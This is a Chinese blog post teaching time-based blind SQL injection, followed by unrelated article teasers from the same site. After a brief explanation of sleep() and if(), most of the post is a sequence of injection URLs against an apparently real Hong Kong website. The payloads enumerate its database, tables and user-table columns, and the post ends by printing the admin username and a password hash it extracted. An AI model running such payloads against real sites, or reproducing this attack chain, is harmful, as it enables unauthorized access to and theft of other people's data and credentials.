news 2026/5/26 7:50:17

时间盲注梳理及案例

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
时间盲注梳理及案例

时间盲注

漏洞原理

网页的返回值只有一种,就是true,无论输入任何值,返回情况都会按照正常的来处理,加入特定的时间函数,通过查看web页面返回的时间差来判断注入语句是否执行成功

时间盲注和布尔型盲注类似,时间盲注就是利用时间函数的延迟特性来判断注入

什么情况下使用时间盲注?

该输入框或者交互点存在注入

该页面不会回显注入的语句执行结果,也就是无法使用union注入

对数据库的报错做了处理,无论用户怎么输入都不会显示报错信息,无法使用报错注入

符合盲注特征,但是不属于布尔型盲注

常用函数

sleep(n):将程序挂起一段时间,为n秒

select sleep(3);

当注入条件成立的时候,数据库会执行sleep()延迟函数,从而导致页面的响应时间显著增加;反之条件不成立,则不会执行sleep()函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确,则执行第二个语句,反之则执行第三个语句

sleep()函数和if()函数结合使用

时间盲注靶场

http://www.uni-1.com.hk/

判断注入点和注入类型

http://www.uni-1.com.hk/training_tc.php?id=13

由前文可知为数字型注入

http://www.uni-1.com.hk/training_tc.php?id=13and sleep(3) --+

网页延迟三秒响应,就可以判断出来存在时间盲注

判断数据库名长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(database())=7,sleep(3),1)--+

二分法,长度为7

判断数据库名

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(mid(database(),2,1))=117,sleep(3),1)--+

爆破得uni1db1

判断表的数量

http://www.uni-1.com.hk/training_tc.php?id=13 and if((select count(table_name) from information_schema.tables where table_schema='uni1db1') = 8 ,sleep(3),1) --+

判断表的长度

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select table_name from information_schema.tables where table_schema="uni1db1" limit 0,1),1)) = 8,sleep(3),1) --+

依次可得八个表的长度依次为8 6 7 4 4 12 4 4

判断表的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select table_name from information_schema.tables where table_schema=’uni1db1’ limit 0,1),1,1)) = 99 ,sleep(3),1) --+

burp爆破得到category,course,enquiry,news,page,registration,text,user

肯定看user

判断列的数量

http://www.uni-1.com.hk/training_tc.php?id=13and if((select count(column_name) from information_schema.columns where table_schema='uni1db1' and table_name='user')=6,sleep(3),1) --+

判断列的长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1))=7,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 1,1),1))=5,sleep(3),1) --+

依次可得列长为7 5 8 8 2 10

判断列的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select column_name from information_schema.columns where table_schema='uni1db1' and table_name='user' limit 0,1),1,1))=117,sleep(3),1) --+

burp爆破可得user_id,state,username,password,IP,last_login

判断数据长度

http://www.uni-1.com.hk/training_tc.php?id=13and if(length(substr((select username from user limit 0,1),1))=5 ,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(length(substr((select password from user limit 0,1),1))=32,sleep(3),1) --+

判断数据的名称

http://www.uni-1.com.hk/training_tc.php?id=13and if(ascii(substr((select username from user limit 0,1),1,1))=97,sleep(3),1) --+

http://www.uni-1.com.hk/training_tc.php?id=13 and if(ascii(substr((select password from user limit 0,1),1,1))=56,sleep(3),1) --+

burp爆破得到admin 80bac55c175d255a520f5112d5e8f07c

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 3:40:59

13. 搜索引擎-ES-ES集群

文章目录前言一、搭建ES集群1.1 创建ES集群1.2 集群状态监控1.3创建索引库二、集群脑裂问题2.1.集群职责划分2.2.脑裂问题三、集群分布式存储3.1.分片存储测试3.2.分片存储原理四、集群分布式查询五、集群故障转移前言 ES集群‌ 一、搭建ES集群 1.1 创建ES集群 部署es集群可…

作者头像 李华
网站建设 2026/5/26 4:36:33

LobeChat能否接入实时翻译插件?多语言交流解决方案

LobeChat能否接入实时翻译插件?多语言交流解决方案 在跨国团队协作日益频繁的今天,一个中国工程师与德国同事讨论技术方案时,可能正依赖AI助手做实时沟通桥梁;一位留学生在查阅英文论文时,希望对话模型能直接用母语解释…

作者头像 李华
网站建设 2026/5/26 4:37:49

15. 实时数据-SpringBoot集成WebSocket

文章目录 前言一、添加依赖(Maven)二、配置 WebSocket1. 创建 WebSocket 配置类2. 实现 WebSocket 处理器 三、前端测试(HTML JS)四、启动类(标准 Spring Boot 启动类)五、可选:使用 STOMP ove…

作者头像 李华
网站建设 2026/5/25 19:52:23

30、FreeBSD 图形界面配置与 KDE 桌面环境使用指南

FreeBSD 图形界面配置与 KDE 桌面环境使用指南 1. X Window 系统配置 X Window 系统为 FreeBSD 提供了类似于 Windows 的图形用户界面。它与窗口管理器协同工作,为用户打造一个高效的工作环境。 1.1 关键配置文件与程序 XF86Config :这是控制 X Window 系统各种属性的文本…

作者头像 李华
网站建设 2026/5/26 1:39:25

项目中绝对位置和相对位置的具体应用解析

这个通常用于有外部库或者文件输入时,使用相对路径可避免代码复制到别的PC端没法使用的情况基础概念:路径分隔符的作用​在文件系统中,路径用于定位文件或目录的位置。反斜杠 \ 是 Windows 系统中的路径分隔符,而正斜杠 / 通常用于…

作者头像 李华